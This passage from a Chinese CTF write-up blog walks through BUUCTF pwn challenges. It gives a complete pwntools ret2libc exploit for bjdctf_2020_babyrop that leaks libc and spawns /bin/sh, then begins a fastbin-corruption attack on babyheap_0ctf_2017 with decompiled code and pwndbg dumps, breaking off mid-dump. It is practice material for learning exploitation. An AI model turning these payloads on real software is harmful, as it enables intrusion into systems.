<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">27311</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x15-bjdctf-2020-babyrop"><a href="#0x15-bjdctf-2020-babyrop" class="headerlink" title="0x15.bjdctf_2020_babyrop"></a>0x15.bjdctf_2020_babyrop</h2><p>一上来是两个puts，然后：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">32</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Pull up your sword and tell me u story!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x64</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>足够长，可以覆盖。</p>
<p>没有用LibcSearcher，一直说找不到，，，下了buu的libc好了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">27222</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./bjdctf_2020_babyrop&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./bjdctf_2020_babyrop&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;libc-x64-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x0000400733</span> </span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x20</span>+<span class="number">0x8</span>)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">puts_add = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"></span><br><span class="line">base = puts_add - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sys_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + <span class="built_in">next</span>(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x20</span>+<span class="number">0x8</span>)+p64(pop_rdi_ret) +p64(bin_sh)+p64(sys_add)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x16-babyheap-0ctf-2017"><a href="#0x16-babyheap-0ctf-2017" class="headerlink" title="0x16.babyheap_0ctf_2017"></a>0x16.babyheap_0ctf_2017</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">程序有4个功能：</span><br><span class="line">Allocate：calloc分配内存，并给出相应的index</span><br><span class="line">FIll：输入index，并分配内存，并填充</span><br><span class="line">Free：释放输入index的内存</span><br><span class="line">Dump：选择index并输出</span><br></pre></td></tr></table></figure>

<p>首先是Allocate：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">sub_D48</span><span class="params">(__int64 a1)</span></span>&#123;  </span><br><span class="line">    <span class="keyword">int</span> i; <span class="comment">// [rsp+10h] [rbp-10h]  </span></span><br><span class="line">    <span class="keyword">int</span> v2; <span class="comment">// [rsp+14h] [rbp-Ch]  </span></span><br><span class="line">    <span class="keyword">void</span> *v3; <span class="comment">// [rsp+18h] [rbp-8h]  </span></span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">15</span>; ++i )  </span><br><span class="line">    &#123;    </span><br><span class="line">        <span class="keyword">if</span> ( !*(_DWORD *)(<span class="number">24LL</span> * i + a1) )    </span><br><span class="line">        &#123;      </span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;Size: &quot;</span>);      </span><br><span class="line">            v2 = sub_138C();      </span><br><span class="line">            <span class="keyword">if</span> ( v2 &gt; <span class="number">0</span> )      </span><br><span class="line">            &#123;        </span><br><span class="line">                <span class="keyword">if</span> ( v2 &gt; <span class="number">4096</span> )          </span><br><span class="line">                    v2 = <span class="number">4096</span>;        </span><br><span class="line">                v3 = <span class="built_in">calloc</span>(v2, <span class="number">1uLL</span>);        </span><br><span class="line">                <span class="keyword">if</span> ( !v3 )          </span><br><span class="line">                    <span class="built_in">exit</span>(<span class="number">-1</span>);        </span><br><span class="line">                *(_DWORD *)(<span class="number">24LL</span> * i + a1) = <span class="number">1</span>;        </span><br><span class="line">                *(_QWORD *)(a1 + <span class="number">24LL</span> * i + <span class="number">8</span>) = v2;        </span><br><span class="line">                *(_QWORD *)(a1 + <span class="number">24LL</span> * i + <span class="number">16</span>) = v3;        </span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Allocate Index %d\n&quot;</span>, (<span class="keyword">unsigned</span> <span class="keyword">int</span>)i);      </span><br><span class="line">            &#125;      </span><br><span class="line">            <span class="keyword">return</span>;    </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>   其中限制了大小，不能超过4096字节；</p>
<p>   *(24LL * i + a1)为1表示chunk已经创建</p>
<p>   *(a1 + 24LL * i + 8)：存放chunk的大小</p>
<p>   *(a1 + 24LL * i + 16)：chunk的地址</p>
</blockquote>
<p>Fill函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">sub_E7F</span><span class="params">(__int64 a1)</span></span>&#123;  </span><br><span class="line">    __int64 result; <span class="comment">// rax  </span></span><br><span class="line">    <span class="keyword">int</span> v2; <span class="comment">// [rsp+18h] [rbp-8h]  </span></span><br><span class="line">    <span class="keyword">int</span> v3; <span class="comment">// [rsp+1Ch] [rbp-4h]  </span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Index: &quot;</span>);  </span><br><span class="line">    result = sub_138C();  </span><br><span class="line">    v2 = result;  </span><br><span class="line">    <span class="keyword">if</span> ( (<span class="keyword">int</span>)result &gt;= <span class="number">0</span> &amp;&amp; (<span class="keyword">int</span>)result &lt;= <span class="number">15</span> )  </span><br><span class="line">    &#123;    </span><br><span class="line">        result = *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)(<span class="number">24LL</span> * (<span class="keyword">int</span>)result + a1);    <span class="number">2</span></span><br><span class="line">            <span class="keyword">if</span> ( (_DWORD)result == <span class="number">1</span> )    </span><br><span class="line">            &#123;      </span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Size: &quot;</span>);      </span><br><span class="line">                result = sub_138C();      </span><br><span class="line">                v3 = result;      </span><br><span class="line">                <span class="keyword">if</span> ( (<span class="keyword">int</span>)result &gt; <span class="number">0</span> )      </span><br><span class="line">                &#123;        </span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">&quot;Content: &quot;</span>);        </span><br><span class="line">                    result = sub_11B2(*(_QWORD *)(<span class="number">24LL</span> * v2 + a1 + <span class="number">16</span>), v3);      </span><br><span class="line">                &#125;    </span><br><span class="line">            &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>  先判断对应的位置是否为1，即chunk是否创建</p>
<p>  然后将v3长度的内容写到*(24LL * v2 + a1 + 16)的地址中</p>
</blockquote>
<p>Free函数</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">sub_F50</span><span class="params">(__int64 a1)</span></span>&#123;  </span><br><span class="line">    __int64 result; <span class="comment">// rax  </span></span><br><span class="line">    <span class="keyword">int</span> v2; <span class="comment">// [rsp+1Ch] [rbp-4h] </span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Index: &quot;</span>);  </span><br><span class="line">    result = sub_138C();  </span><br><span class="line">    v2 = result; </span><br><span class="line">    <span class="keyword">if</span> ( (<span class="keyword">int</span>)result &gt;= <span class="number">0</span> &amp;&amp; (<span class="keyword">int</span>)result &lt;= <span class="number">15</span> ) </span><br><span class="line">    &#123;   </span><br><span class="line">        result = *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)(<span class="number">24LL</span> * (<span class="keyword">int</span>)result + a1);  </span><br><span class="line">        <span class="keyword">if</span> ( (_DWORD)result == <span class="number">1</span> )   </span><br><span class="line">        &#123;   </span><br><span class="line">            *(_DWORD *)(<span class="number">24LL</span> * v2 + a1) = <span class="number">0</span>;     </span><br><span class="line">         *(_QWORD *)(<span class="number">24LL</span> * v2 + a1 + <span class="number">8</span>) = <span class="number">0LL</span>;   </span><br><span class="line">            <span class="built_in">free</span>(*(<span class="keyword">void</span> **)(<span class="number">24LL</span> * v2 + a1 + <span class="number">16</span>));   </span><br><span class="line">            result = <span class="number">24LL</span> * v2 + a1;    </span><br><span class="line">            *(_QWORD *)(result + <span class="number">16</span>) = <span class="number">0LL</span>; </span><br><span class="line">        &#125; </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>  输入index，如果对应的位置是1：</p>
<p>  置0，将记录chunk大小的位置标记为0，释放指针*(24LL * v2 + a1 + 16)对应的内存</p>
</blockquote>
<p>Dump函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">sub_1051</span><span class="params">(__int64 a1)</span></span>&#123;  </span><br><span class="line">    <span class="keyword">int</span> result; <span class="comment">// eax  </span></span><br><span class="line">    <span class="keyword">int</span> v2; <span class="comment">// [rsp+1Ch] [rbp-4h]  </span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Index: &quot;</span>);  </span><br><span class="line">    result = sub_138C();  </span><br><span class="line">    v2 = result;  </span><br><span class="line">    <span class="keyword">if</span> ( result &gt;= <span class="number">0</span> &amp;&amp; result &lt;= <span class="number">15</span> )  </span><br><span class="line">    &#123;    </span><br><span class="line">        result = *(_DWORD *)(<span class="number">24LL</span> * result + a1);    </span><br><span class="line">        <span class="keyword">if</span> ( result == <span class="number">1</span> )   </span><br><span class="line">        &#123;      </span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">&quot;Content: &quot;</span>);     </span><br><span class="line">            sub_130F(*(_QWORD *)(<span class="number">24LL</span> * v2 + a1 + <span class="number">16</span>), *(_QWORD *)(<span class="number">24LL</span> * v2 + a1 + <span class="number">8</span>));      </span><br><span class="line">            result = <span class="built_in">puts</span>(byte_14F1);    </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>  输入index，若标志位为1，打印*(24LL * v2 + a1 + 16)位置，长度为*(24LL * v2 + a1 + 8)的内容。</p>
</blockquote>
<p>没有uaf，内存free掉后不能查看其中的内容，但是可以double free获得指向small bin的index，释放后通过dump打印出来。</p>
<p>首先分配一些相同大小的fast chunk ，在分配一个small chunk，释放掉其中的一个fast chunk。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">allocate(10)#chunk0</span><br><span class="line">allocate(10)#chunk1</span><br><span class="line">allocate(10)#chunk2</span><br><span class="line">allocate(10)#chunk3</span><br><span class="line">allocate(80)#chunk4</span><br><span class="line">free(1)</span><br></pre></td></tr></table></figure>

<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx  </span><br><span class="line">0x5579684280000x557968428000:	0x0000000000000000	0x0000000000000021 &lt;=chunk0</span><br><span class="line">0x557968428010:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557968428020:	0x0000000000000000	0x0000000000000021 &lt;=chunk1</span><br><span class="line">0x557968428030:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557968428040:	0x0000000000000000	0x0000000000000021 &lt;=chunk2</span><br><span class="line">0x557968428050:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557968428060:	0x0000000000000000	0x0000000000000021 &lt;=chunk3</span><br><span class="line">0x557968428070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557968428080:	0x0000000000000000	0x0000000000000061 &lt;=chunk4</span><br><span class="line">0x557968428090:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5579684280a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5579684280b0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5579684280c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5579684280d0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5579684280e0:	0x0000000000000000	0x0000000000020f21</span><br><span class="line">0x5579684280f0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">pwndbg&gt; x/32gx &amp;main_arena</span><br><span class="line">0x7f063731bb20 &lt;main_arena&gt;:	0x0000000000000000	0x0000557968428020</span><br><span class="line">0x7f063731bb30 &lt;main_arena+16&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f063731bb40 &lt;main_arena+32&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f063731bb50 &lt;main_arena+48&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f063731bb60 &lt;main_arena+64&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f063731bb70 &lt;main_arena+80&gt;:	0x0000000000000000	0x00005579684280e0</span><br><span class="line">0x7f063731bb80 &lt;main_arena+96&gt;:	0x0000000000000000	0x00007f063731bb78</span><br><span class="line">0x7f063731bb90 &lt;main_arena+112&gt;:	0x00007f063731bb78	0x00007f063731bb88</span><br><span class="line">0x7f063731bba0 &lt;main_arena+128&gt;:	0x00007f063731bb88	0x00007f063731bb98</span><br><span class="line">0x7f063731bbb0 &lt;main_arena+144&gt;:	0x00007f063731bb98	0x00007f063731bba8</span><br><span class="line">0x7f063731bbc0 &lt;main_arena+160&gt;:	0x00007f063731bba8	0x00007f063731bbb8</span><br><span class="line">0x7f063731bbd0 &lt;main_arena+176&gt;:	0x00007f063731bbb8	0x00007f063731bbc8</span><br><span class="line">0x7f063731bbe0 &lt;main_arena+192&gt;:	0x00007f063731bbc8	0x00007f063731bbd8</span><br><span class="line">0x7f063731bbf0 &lt;main_arena+208&gt;:	0x00007f063731bbd8	0x00007f063731bbe8</span><br><span class="line">0x7f063731bc00 &lt;main_arena+224&gt;:	0x00007f063731bbe8	0x00007f063731bbf8</span><br><span class="line">0x7f063731bc10 &lt;main_arena+240&gt;:	0x00007f063731bbf8	0x00007f063731bc08</span><br></pre></td></tr></table></figure>

<p>可以看到释放的fast chunk被放到了fast bin中，fast bin为单链结构，如果再释放一个free(2)，那么会插入到fast bin的头部，释放的第二个chunk的fd会被设置成第一个chunk的地址：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx &amp;main_arena</span><br><span class="line">0x7f8ff509db20 &lt;main_arena&gt;:	0x0000000000000000	0x000055d82f950040</span><br><span class="line">0x7f8ff509db30 &lt;main_arena+16&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f8ff509db40 &lt;main_arena+32&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f8ff509db50 &lt;main_arena+48&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f8ff509db60 &lt;main_arena+64&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f8ff509db70 &lt;main_arena+80&gt;:	0x0000000000000000	0x000055d82f9500e0</span><br><span class="line">0x7f8ff509db80 &lt;main_arena+96&gt;:	0x0000000000000000	0x00007f8ff509db78</span><br><span class="line">0x7f8ff509db90 &lt;main_arena+112&gt;:	0x00007f8ff509db78	0x00007f8ff509db88</span><br><span class="line">0x7f8ff509dba0 &lt;main_arena+128&gt;:	0x00007f8ff509db88	0x00007f8ff509db98</span><br><span class="line">0x7f8ff509dbb0 &lt;main_arena+144&gt;:	0x00007f8ff509db98	0x00007f8ff509dba8</span><br><span class="line">0x7f8ff509dbc0 &lt;main_arena+160&gt;:	0x00007f8ff509dba8	0x00007f8ff509dbb8</span><br><span class="line">0x7f8ff509dbd0 &lt;main_arena+176&gt;:	0x00007f8ff509dbb8	0x00007f8ff509dbc8</span><br><span class="line">0x7f8ff509dbe0 &lt;main_arena+192&gt;:	0x00007f8ff509dbc8	0x00007f8ff509dbd8</span><br><span class="line">0x7f8ff509dbf0 &lt;main_arena+208&gt;:	0x00007f8ff509dbd8	0x00007f8ff509dbe8</span><br><span class="line">0x7f8ff509dc00 &lt;main_arena+224&gt;:	0x00007f8ff509dbe8	0x00007f8ff509dbf8</span><br><span class="line">0x7f8ff509dc10 &lt;main_arena+240&gt;:	0x00007f8ff509dbf8	0x00007f8ff509dc08</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; <span class="built_in">bin</span></span><br><span class="line">fastbins</span><br><span class="line"><span class="number">0x20</span>: <span class="number">0x55d82f950040</span> —▸ <span class="number">0x55d82f950020</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">0x30</span>: <span class="number">0x0</span></span><br><span class="line"><span class="number">0x40</span>: <span class="number">0x0</span></span><br><span class="line"><span class="number">0x50</span>: <span class="number">0x0</span></span><br><span class="line"><span class="number">0x60</span>: <span class="number">0x0</span></span><br><span class="line"><span class="number">0x70</span>: <span class="number">0x0</span></span><br><span class="line"><span class="number">0x80</span>: <span class="number">0x0</span></span><br><span class="line">unsortedbin</span><br><span class="line"><span class="built_in">all</span>: <span class="number">0x0</span></span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br><span class="line">pwndbg&gt; heap</span><br><span class="line"><span class="number">0x55d82f950000</span> FASTBIN &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">33</span>, </span><br><span class="line">  fd = <span class="number">0x0</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x21</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="number">0x55d82f950020</span> FASTBIN &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">33</span>, </span><br><span class="line">  fd = <span class="number">0x0</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x21</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="number">0x55d82f950040</span> FASTBIN &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">33</span>, </span><br><span class="line">  fd = <span class="number">0x55d82f950020</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x21</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="number">0x55d82f950060</span> FASTBIN &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">33</span>, </span><br><span class="line">  fd = <span class="number">0x0</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x61</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="number">0x55d82f950080</span> FASTBIN &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">97</span>, </span><br><span class="line">  fd = <span class="number">0x0</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x0</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="number">0x55d82f9500e0</span> PREV_INUSE &#123;</span><br><span class="line">  prev_size = <span class="number">0</span>, </span><br><span class="line">  size = <span class="number">134945</span>, </span><br><span class="line">  fd = <span class="number">0x0</span>, </span><br><span class="line">  bk = <span class="number">0x0</span>, </span><br><span class="line">  fd_nextsize = <span class="number">0x0</span>, </span><br><span class="line">  bk_nextsize = <span class="number">0x0</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这时使用fill覆盖fast bin头部(即chunk2)的fd的值，将其改为small chunk的地址，这相当于small bin已经被free在fast bin中了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)<span class="comment">#chunk2</span></span><br><span class="line">payload += p8(<span class="number">0x80</span>)<span class="comment">#地址低位</span></span><br><span class="line">fill(<span class="number">0</span>,payload)</span><br></pre></td></tr></table></figure>

<p>然后：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)<span class="comment">#chunk4_size</span></span><br><span class="line">fill(<span class="number">3</span>,payload)</span><br></pre></td></tr></table></figure>

<p>这时：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx 0x557ac06f3000</span><br><span class="line">0x557ac06f3000:	0x0000000000000000	0x0000000000000021 &lt;=chunk0</span><br><span class="line">0x557ac06f3010:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f3020:	0x0000000000000000	0x0000000000000021 &lt;=chunk1</span><br><span class="line">0x557ac06f3030:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f3040:	0x0000000000000000	0x0000000000000021 &lt;=chunk2</span><br><span class="line">0x557ac06f3050:	0x0000557ac06f3080	0x0000000000000000</span><br><span class="line">0x557ac06f3060:	0x0000000000000000	0x0000000000000021 &lt;=chunk3</span><br><span class="line">0x557ac06f3070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f3080:	0x0000000000000000	0x0000000000000021 